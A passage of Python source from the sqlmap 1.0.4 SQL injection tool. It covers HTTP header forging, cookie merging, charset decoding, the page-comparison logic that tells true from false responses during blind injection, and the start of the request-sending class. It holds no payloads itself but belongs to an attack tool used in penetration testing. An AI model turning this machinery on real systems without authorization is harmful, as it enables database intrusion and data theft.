capitalize(self): return _str(self) def title(self): return _str(self) _ = headers headers = OrderedDict() for key, value in _.items(): success = False for _ in headers: if _.upper() == key.upper(): del headers[_] break if key.upper() not in (_.upper() for _ in getPublicTypeMembers(HTTP_HEADER, True)): try: headers[_str(key)] = value # dirty hack for http://bugs.python.org/issue12455 except UnicodeEncodeError: # don't do the hack on non-ASCII header names (they have to be properly encoded later on) pass else: success = True if not success: key = '-'.join(_.capitalize() for _ in key.split('-')) headers[key] = value if conf.cj: if HTTP_HEADER.COOKIE in headers: for cookie in conf.cj: if cookie.domain_specified and not conf.hostname.endswith(cookie.domain): continue if ("%s=" % cookie.name) in headers[HTTP_HEADER.COOKIE]: if conf.loadCookies: conf.httpHeaders = filter(None, ((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders)) elif kb.mergeCookies is None: message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE message += "The target URL provided its own cookies within " message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE message += "Do you want to merge them in futher requests? [Y/n] " _ = readInput(message, default="Y") kb.mergeCookies = not _ or _[0] in ("y", "Y") if kb.mergeCookies and kb.injection.place != PLACE.COOKIE: _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(cookie.name), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (cookie.name, getUnicode(cookie.value))).replace('\\', r'\\'), x) headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) if PLACE.COOKIE in conf.parameters: conf.parameters[PLACE.COOKIE] = _(conf.parameters[PLACE.COOKIE]) conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item in conf.httpHeaders] elif not kb.testMode: headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, cookie.name, getUnicode(cookie.value)) if kb.testMode and not any((conf.csrfToken, conf.safeUrl)): resetCookieJar(conf.cj) return headers def parseResponse(page, headers): """ @param page: the page to parse to feed the knowledge base htmlFp (back-end DBMS fingerprint based upon DBMS error messages return through the web application) list and absFilePaths (absolute file paths) set. """ if headers: headersParser(headers) if page: htmlParser(page) def checkCharEncoding(encoding, warn=True): """ Checks encoding name, repairs common misspellings and adjusts to proper namings used in codecs module >>> checkCharEncoding('iso-8858', False) 'iso8859-1' >>> checkCharEncoding('en_us', False) 'utf8' """ if encoding: encoding = encoding.lower() else: return encoding # Reference: http://www.destructor.de/charsets/index.htm translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932"} for delimiter in (';', ',', '('): if delimiter in encoding: encoding = encoding[:encoding.find(delimiter)].strip() encoding = encoding.replace(""", "") # popular typos/errors if "8858" in encoding: encoding = encoding.replace("8858", "8859") # iso-8858 -> iso-8859 elif "8559" in encoding: encoding = encoding.replace("8559", "8859") # iso-8559 -> iso-8859 elif "5889" in encoding: encoding = encoding.replace("5889", "8859") # iso-5889 -> iso-8859 elif "5589" in encoding: encoding = encoding.replace("5589", "8859") # iso-5589 -> iso-8859 elif "2313" in encoding: encoding = encoding.replace("2313", "2312") # gb2313 -> gb2312 elif encoding.startswith("x-"): encoding = encoding[len("x-"):] # x-euc-kr -> euc-kr / x-mac-turkish -> mac-turkish elif "windows-cp" in encoding: encoding = encoding.replace("windows-cp", "windows") # windows-cp-1254 -> windows-1254 # name adjustment for compatibility if encoding.startswith("8859"): encoding = "iso-%s" % encoding elif encoding.startswith("cp-"): encoding = "cp%s" % encoding[3:] elif encoding.startswith("euc-"): encoding = "euc_%s" % encoding[4:] elif encoding.startswith("windows") and not encoding.startswith("windows-"): encoding = "windows-%s" % encoding[7:] elif encoding.find("iso-88") > 0: encoding = encoding[encoding.find("iso-88"):] elif encoding.startswith("is0-"): encoding = "iso%s" % encoding[4:] elif encoding.find("ascii") > 0: encoding = "ascii" elif encoding.find("utf8") > 0: encoding = "utf8" elif encoding.find("utf-8") > 0: encoding = "utf-8" # Reference: http://philip.html5.org/data/charsets-2.html if encoding in translate: encoding = translate[encoding] elif encoding in ("null", "{charset}", "*") or not re.search(r"\w", encoding): return None # Reference: http://www.iana.org/assignments/character-sets # Reference: http://docs.python.org/library/codecs.html try: codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding) except (LookupError, ValueError): if warn: warnMsg = "unknown web page charset '%s'. " % encoding warnMsg += "Please report by e-mail to 'dev@sqlmap.org'" singleTimeLogMessage(warnMsg, logging.WARN, encoding) encoding = None if encoding: try: unicode(randomStr(), encoding) except: if warn: warnMsg = "invalid web page charset '%s'" % encoding singleTimeLogMessage(warnMsg, logging.WARN, encoding) encoding = None return encoding def getHeuristicCharEncoding(page): """ Returns page encoding charset detected by usage of heuristics Reference: http://chardet.feedparser.org/docs/ """ retVal = detect(page)["encoding"] if retVal: infoMsg = "heuristics detected web page charset '%s'" % retVal singleTimeLogMessage(infoMsg, logging.INFO, retVal) return retVal def decodePage(page, contentEncoding, contentType): """ Decode compressed/charset HTTP response """ if not page or (conf.nullConnection and len(page) < 2): return getUnicode(page) if isinstance(contentEncoding, basestring) and contentEncoding.lower() in ("gzip", "x-gzip", "deflate"): if not kb.pageCompress: return None try: if contentEncoding.lower() == "deflate": data = StringIO.StringIO(zlib.decompress(page, -15)) # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations else: data = gzip.GzipFile("", "rb", 9, StringIO.StringIO(page)) size = struct.unpack(" MAX_CONNECTION_TOTAL_SIZE: raise Exception("size too large") page = data.read() except Exception, msg: errMsg = "detected invalid data for declared content " errMsg += "encoding '%s' ('%s')" % (contentEncoding, msg) singleTimeLogMessage(errMsg, logging.ERROR) warnMsg = "turning off page compression" singleTimeWarnMessage(warnMsg) kb.pageCompress = False raise SqlmapCompressionException if not conf.charset: httpCharset, metaCharset = None, None # Reference: http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode if contentType and (contentType.find("charset=") != -1): httpCharset = checkCharEncoding(contentType.split("charset=")[-1]) metaCharset = checkCharEncoding(extractRegexResult(META_CHARSET_REGEX, page)) if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset)))\ or (httpCharset == metaCharset and all((httpCharset, metaCharset))): kb.pageEncoding = httpCharset or metaCharset # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence debugMsg = "declared web page charset '%s'" % kb.pageEncoding singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg) else: kb.pageEncoding = None else: kb.pageEncoding = conf.charset # can't do for all responses because we need to support binary files too if contentType and not isinstance(page, unicode) and "text/" in contentType.lower(): if kb.heuristicMode: kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) page = getUnicode(page, kb.pageEncoding) else: # e.g. Ãëàâà if "&#" in page: page = re.sub(r"&#(\d{1,3});", lambda _: chr(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page) # e.g. %20%28%29 if "%" in page: page = re.sub(r"%([0-9a-fA-F]{2})", lambda _: _.group(1).decode("hex"), page) # e.g. & page = re.sub(r"&([^;]+);", lambda _: chr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 256) < 256 else _.group(0), page) kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) page = getUnicode(page, kb.pageEncoding) # e.g. ’…™ if "&#" in page: def _(match): retVal = match.group(0) try: retVal = unichr(int(match.group(1))) except ValueError: pass return retVal page = re.sub(r"&#(\d+);", _, page) # e.g. ζ page = re.sub(r"&([^;]+);", lambda _: unichr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 0) > 255 else _.group(0), page) return page def processResponse(page, responseHeaders): kb.processResponseCounter += 1 page = page or "" parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None) if conf.parseErrors: msg = extractErrorMessage(page) if msg: logger.warning("parsed DBMS error message: '%s'" % msg) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): match = re.search(regex, page) if match and PLACE.POST in conf.parameters: name, value = match.groups() if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]: if conf.paramDict[PLACE.POST][name] in page: continue conf.paramDict[PLACE.POST][name] = value conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST]) if re.search(BLOCKED_IP_REGEX, page): errMsg = "it appears that you have been blocked by the target server" singleTimeLogMessage(errMsg, logging.ERROR) sqlmap-1.0.4/lib/request/basicauthhandler.py000066400000000000000000000025411270044205500211230ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import urllib2 class SmartHTTPBasicAuthHandler(urllib2.HTTPBasicAuthHandler): """ Reference: http://selenic.com/hg/rev/6c51a5056020 Fix for a: http://bugs.python.org/issue8797 """ def __init__(self, *args, **kwargs): urllib2.HTTPBasicAuthHandler.__init__(self, *args, **kwargs) self.retried_req = set() self.retried_count = 0 def reset_retry_count(self): # Python 2.6.5 will call this on 401 or 407 errors and thus loop # forever. We disable reset_retry_count completely and reset in # http_error_auth_reqed instead. pass def http_error_auth_reqed(self, auth_header, host, req, headers): # Reset the retry counter once for each request. if hash(req) not in self.retried_req: self.retried_req.add(hash(req)) self.retried_count = 0 else: if self.retried_count > 5: raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None) else: self.retried_count += 1 return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed( self, auth_header, host, req, headers) sqlmap-1.0.4/lib/request/comparison.py000066400000000000000000000150131270044205500177720ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import extractRegexResult from lib.core.common import getFilteredPageContent from lib.core.common import listToStrValue from lib.core.common import removeDynamicContent from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseHTTPError from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapNoneDataException from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DIFF_TOLERANCE from lib.core.settings import HTML_TITLE_REGEX from lib.core.settings import MIN_RATIO from lib.core.settings import MAX_RATIO from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import LOWER_RATIO_BOUND from lib.core.settings import UPPER_RATIO_BOUND from lib.core.threads import getCurrentThreadData def comparison(page, headers, code=None, getRatioValue=False, pageLength=None): _ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue) return _ def _adjust(condition, getRatioValue): if not any((conf.string, conf.notString, conf.regexp, conf.code)): # Negative logic approach is used in raw page comparison scheme as that what is "different" than original # PAYLOAD.WHERE.NEGATIVE response is considered as True; in switch based approach negative logic is not # applied as that what is by user considered as True is that what is returned by the comparison mechanism # itself retVal = not condition if kb.negativeLogic and condition is not None and not getRatioValue else condition else: retVal = condition if not getRatioValue else (MAX_RATIO if condition else MIN_RATIO) return retVal def _comparison(page, headers, code, getRatioValue, pageLength): threadData = getCurrentThreadData() if kb.testMode: threadData.lastComparisonHeaders = listToStrValue(headers.headers) if headers else "" threadData.lastComparisonPage = page if page is None and pageLength is None: return None count = 0 seqMatcher = threadData.seqMatcher seqMatcher.set_seq1(kb.pageTemplate) if any((conf.string, conf.notString, conf.regexp)): rawResponse = "%s%s" % (listToStrValue(headers.headers) if headers else "", page) # String to match in page when the query is True and/or valid if conf.string: return conf.string in rawResponse # String to match in page when the query is False and/or invalid if conf.notString: return conf.notString not in rawResponse # Regular expression to match in page when the query is True and/or valid if conf.regexp: return re.search(conf.regexp, rawResponse, re.I | re.M) is not None # HTTP code to match when the query is valid if conf.code: return conf.code == code if page: # In case of an DBMS error page return None if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic: return None # Dynamic content lines to be excluded before comparison if not kb.nullConnection: page = removeDynamicContent(page) seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate)) if not pageLength: pageLength = len(page) if kb.nullConnection and pageLength: if not seqMatcher.a: errMsg = "problem occurred while retrieving original page content " errMsg += "which prevents sqlmap from continuation. Please rerun, " errMsg += "and if the problem persists turn off any optimization switches" raise SqlmapNoneDataException(errMsg) ratio = 1. * pageLength / len(seqMatcher.a) if ratio > 1.: ratio = 1. / ratio else: # Preventing "Unicode equal comparison failed to convert both arguments to Unicode" # (e.g. if one page is PDF and the other is HTML) if isinstance(seqMatcher.a, str) and isinstance(page, unicode): page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore') elif isinstance(seqMatcher.a, unicode) and isinstance(page, str): seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore') seq1, seq2 = None, None if conf.titles: seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) seq2 = extractRegexResult(HTML_TITLE_REGEX, page) else: seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a seq2 = getFilteredPageContent(page, True) if conf.textOnly else page if seq1 is None or seq2 is None: return None seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "") seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "") while count < min(len(seq1), len(seq2)): if seq1[count] == seq2[count]: count += 1 else: break if count: try: _seq1 = seq1[count:] _seq2 = seq2[count:] except MemoryError: pass else: seq1 = _seq1 seq2 = _seq2 while True: try: seqMatcher.set_seq1(seq1) except MemoryError: seq1 = seq1[:len(seq1) / 1024] else: break while True: try: seqMatcher.set_seq2(seq2) except MemoryError: seq2 = seq2[:len(seq2) / 1024] else: break ratio = round(seqMatcher.quick_ratio(), 3) # If the url is stable and we did not set yet the match ratio and the # current injected value changes the url page content if kb.matchRatio is None: if (count or ratio >= LOWER_RATIO_BOUND) and ratio <= UPPER_RATIO_BOUND: kb.matchRatio = ratio logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio) # If it has been requested to return the ratio and not a comparison # response if getRatioValue: return ratio elif ratio > UPPER_RATIO_BOUND: return True elif ratio < LOWER_RATIO_BOUND: return False elif kb.matchRatio is None: return None else: return (ratio - kb.matchRatio) > DIFF_TOLERANCE sqlmap-1.0.4/lib/request/connect.py000066400000000000000000001526171270044205500172650ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import binascii import compiler import httplib import json import keyword import logging import re import socket import string import struct import time import traceback import urllib2 import urlparse try: import websocket from websocket import WebSocketException except ImportError: class WebSocketException(Exception): pass from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import asciifyUrl from lib.core.common import calculateDeltaSeconds from lib.core.common import clearConsoleLine from lib.core.common import cpuThrottle from lib.core.common import dataToStdout from lib.core.common import evaluateCode from lib.core.common import extractRegexResult from lib.core.common import findMultipartPostBoundary from lib.core.common import getCurrentThreadData from lib.core.common import getHeader from lib.core.common import getHostHeader from lib.core.common import getRequestHeader from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import logHTTPTraffic from lib.core.common import pushValue from lib.core.common import popValue from lib.core.common import randomizeParameterValue from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev from lib.core.common import wasLastResponseDelayed from lib.core.common import unicodeencode from lib.core.common import urldecode from lib.core.common import urlencode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import POST_HINT_CONTENT_TYPES from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import AUTH_TYPE from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import NULLCONNECTION from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.enums import REDIRECTION from lib.core.enums import WEB_API from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapTokenException from lib.core.exception import SqlmapValueException from lib.core.settings import ASTERISK_MARKER from lib.core.settings import BOUNDARY_BACKSLASH_MARKER from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_CONTENT_TYPE from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import EVALCODE_KEYWORD_SUFFIX from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE from lib.core.settings import MAX_CONNECTIONS_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import META_REFRESH_REGEX from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import IS_WIN from lib.core.settings import LARGE_CHUNK_TRIM_MARKER from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PERMISSION_DENIED_REGEX from lib.core.settings import PLAIN_TEXT_CONTENT_TYPE from lib.core.settings import RANDOM_INTEGER_MARKER from lib.core.settings import RANDOM_STRING_MARKER from lib.core.settings import REPLACEMENT_MARKER from lib.core.settings import TEXT_CONTENT_TYPE_REGEX from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import WARN_TIME_STDEV from lib.request.basic import decodePage from lib.request.basic import forgeHeaders from lib.request.basic import processResponse from lib.request.direct import direct from lib.request.comparison import comparison from lib.request.methodrequest import MethodRequest from thirdparty.multipart import multipartpost from thirdparty.odict.odict import OrderedDict from thirdparty.socks.socks import ProxyError class Connect(object): """ This class defines methods used to perform HTTP requests """ @staticmethod def _getPageProxy(**kwargs): return Connect.getPage(**kwargs) @staticmethod def _retryProxy(**kwargs): threadData = getCurrentThreadData() threadData.retriesCount += 1 if conf.proxyList and threadData.retriesCount >= conf.retries: warnMsg = "changing proxy" logger.warn(warnMsg) conf.proxy = None threadData.retriesCount = 0 setHTTPHandlers() if kb.testMode and kb.previousMethod == PAYLOAD.METHOD.TIME: # timed based payloads can cause web server unresponsiveness # if the injectable piece of code is some kind of JOIN-like query warnMsg = "most probably web server instance hasn't recovered yet " warnMsg += "from previous timed based payload. If the problem " warnMsg += "persists please wait for few minutes and rerun " warnMsg += "without flag T in option '--technique' " warnMsg += "(e.g. '--flush-session --technique=BEUS') or try to " warnMsg += "lower the value of option '--time-sec' (e.g. '--time-sec=2')" singleTimeWarnMessage(warnMsg) elif kb.originalPage is None: if conf.tor: warnMsg = "please make sure that you have " warnMsg += "Tor installed and running so " warnMsg += "you could successfully use " warnMsg += "switch '--tor' " if IS_WIN: warnMsg += "(e.g. 'https://www.torproject.org/download/download.html.en')" else: warnMsg += "(e.g. 'https://help.ubuntu.com/community/Tor')" else: warnMsg = "if the problem persists please check that the provided " warnMsg += "target URL is valid. In case that it is, you can try to rerun " warnMsg += "with the switch '--random-agent' turned on " warnMsg += "and/or proxy switches ('--ignore-proxy', '--proxy',...)" singleTimeWarnMessage(warnMsg) elif conf.threads > 1: warnMsg = "if the problem persists please try to lower " warnMsg += "the number of used threads (option '--threads')" singleTimeWarnMessage(warnMsg) kwargs['retrying'] = True return Connect._getPageProxy(**kwargs) @staticmethod def _connReadProxy(conn): retVal = "" if not kb.dnsMode and conn: headers = conn.info() if headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate")\ or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()): retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE) if len(retVal) == MAX_CONNECTION_TOTAL_SIZE: warnMsg = "large compressed response detected. Disabling compression" singleTimeWarnMessage(warnMsg) kb.pageCompress = False else: while True: if not conn: break else: _ = conn.read(MAX_CONNECTION_CHUNK_SIZE) if len(_) == MAX_CONNECTION_CHUNK_SIZE: warnMsg = "large response detected. This could take a while" singleTimeWarnMessage(warnMsg) _ = re.sub(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start), "%s%s%s" % (kb.chars.stop, LARGE_CHUNK_TRIM_MARKER, kb.chars.start), _) retVal += _ else: retVal += _ break if len(retVal) > MAX_CONNECTION_TOTAL_SIZE: warnMsg = "too large response detected. Automatically trimming it" singleTimeWarnMessage(warnMsg) break return retVal @staticmethod def getPage(**kwargs): """ This method connects to the target URL or proxy and returns the target URL page content """ if isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) elif conf.cpuThrottle: cpuThrottle(conf.cpuThrottle) if conf.offline: return None, None, None elif conf.dummy: return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None threadData = getCurrentThreadData() with kb.locks.request: kb.requestCounter += 1 threadData.lastRequestUID = kb.requestCounter url = kwargs.get("url", None) or conf.url get = kwargs.get("get", None) post = kwargs.get("post", None) method = kwargs.get("method", None) cookie = kwargs.get("cookie", None) ua = kwargs.get("ua", None) or conf.agent referer = kwargs.get("referer", None) or conf.referer host = kwargs.get("host", None) or conf.host direct_ = kwargs.get("direct", False) multipart = kwargs.get("multipart", False) silent = kwargs.get("silent", False) raise404 = kwargs.get("raise404", True) timeout = kwargs.get("timeout", None) or conf.timeout auxHeaders = kwargs.get("auxHeaders", None) response = kwargs.get("response", False) ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout refreshing = kwargs.get("refreshing", False) retrying = kwargs.get("retrying", False) crawling = kwargs.get("crawling", False) skipRead = kwargs.get("skipRead", False) websocket_ = url.lower().startswith("ws") if not urlparse.urlsplit(url).netloc: url = urlparse.urljoin(conf.url, url) # flag to know if we are dealing with the same target host target = reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, conf.url or ""])) if not retrying: # Reset the number of connection retries threadData.retriesCount = 0 # fix for known issue when urllib2 just skips the other part of provided # url splitted with space char while urlencoding it in the later phase url = url.replace(" ", "%20") conn = None code = None page = None _ = urlparse.urlsplit(url) requestMsg = u"HTTP request [#%d]:\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET)) requestMsg += ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any((refreshing, crawling)) else url responseMsg = u"HTTP response " requestHeaders = u"" responseHeaders = None logHeaders = u"" skipLogTraffic = False raise404 = raise404 and not kb.ignoreNotFound # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't # support those by default url = asciifyUrl(url) try: socket.setdefaulttimeout(timeout) if direct_: if '?' in url: url, params = url.split('?', 1) params = urlencode(params) url = "%s?%s" % (url, params) elif multipart: # Needed in this form because of potential circle dependency # problem (option -> update -> connect -> option) from lib.core.option import proxyHandler multipartOpener = urllib2.build_opener(proxyHandler, multipartpost.MultipartPostHandler) conn = multipartOpener.open(unicodeencode(url), multipart) page = Connect._connReadProxy(conn) if not skipRead else None responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) return page elif any((refreshing, crawling)): pass elif target: if conf.forceSSL and urlparse.urlparse(url).scheme != "https": url = re.sub("\Ahttp:", "https:", url, re.I) url = re.sub(":80/", ":443/", url, re.I) if PLACE.GET in conf.parameters and not get: get = conf.parameters[PLACE.GET] if not conf.skipUrlEncode: get = urlencode(get, limit=True) if get: if '?' in url: url = "%s%s%s" % (url, DEFAULT_GET_POST_DELIMITER, get) requestMsg += "%s%s" % (DEFAULT_GET_POST_DELIMITER, get) else: url = "%s?%s" % (url, get) requestMsg += "?%s" % get if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET: post = conf.parameters[PLACE.POST] elif get: url = "%s?%s" % (url, get) requestMsg += "?%s" % get requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str # Prepare HTTP headers headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}) if HTTP_HEADER.COOKIE in headers: cookie = headers[HTTP_HEADER.COOKIE] if kb.authHeader: headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader if kb.proxyAuthHeader: headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader if not getHeader(headers, HTTP_HEADER.ACCEPT): headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE if not getHeader(headers, HTTP_HEADER.HOST) or not target: headers[HTTP_HEADER.HOST] = getHostHeader(url) if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING): headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity" if post is not None and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE): headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE) if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]: warnMsg = "missing 'boundary parameter' in '%s' header. " % HTTP_HEADER.CONTENT_TYPE warnMsg += "Will try to reconstruct" singleTimeWarnMessage(warnMsg) boundary = findMultipartPostBoundary(conf.data) if boundary: headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary) # Reset header values to original in case of provided request file if target and conf.requestFile: headers = OrderedDict(conf.httpHeaders) if cookie: headers[HTTP_HEADER.COOKIE] = cookie if auxHeaders: for key, value in auxHeaders.items(): for _ in headers.keys(): if _.upper() == key.upper(): del headers[_] headers[key] = value for key, value in headers.items(): del headers[key] value = unicodeencode(value, kb.pageEncoding) for char in (r"\r", r"\n"): value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", value) headers[unicodeencode(key, kb.pageEncoding)] = value.strip("\r\n") url = unicodeencode(url) post = unicodeencode(post) if websocket_: ws = websocket.WebSocket() ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically ws.send(urldecode(post or "")) page = ws.recv() ws.close() code = ws.status status = httplib.responses[code] class _(dict): pass responseHeaders = _(ws.getheaders()) responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()] requestHeaders += "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()) requestMsg += "\n%s" % requestHeaders if post is not None: requestMsg += "\n\n%s" % getUnicode(post) requestMsg += "\n" threadData.lastRequestMsg = requestMsg logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) else: if method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST): method = unicodeencode(method) req = MethodRequest(url, post, headers) req.set_method(method) else: req = urllib2.Request(url, post, headers) requestHeaders += "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()) if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: conf.cj._policy._now = conf.cj._now = int(time.time()) cookies = conf.cj._cookies_for_request(req) requestHeaders += "\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) if post is not None: if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH): requestHeaders += "\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post)) if not getRequestHeader(req, HTTP_HEADER.CONNECTION): requestHeaders += "\n%s: close" % HTTP_HEADER.CONNECTION requestMsg += "\n%s" % requestHeaders if post is not None: requestMsg += "\n\n%s" % getUnicode(post) requestMsg += "\n" threadData.lastRequestMsg = requestMsg logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) if conf.cj: for cookie in conf.cj: if cookie.value is None: cookie.value = "" else: for char in (r"\r", r"\n"): cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value) conn = urllib2.urlopen(req) if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower(): kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION) # Return response object if response: return conn, None, None # Get HTTP response if hasattr(conn, 'redurl'): page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\ else Connect._connReadProxy(conn)) if not skipRead else None skipLogTraffic = kb.redirectChoice == REDIRECTION.NO code = conn.redcode else: page = Connect._connReadProxy(conn) if not skipRead else None code = code or conn.code responseHeaders = conn.info() 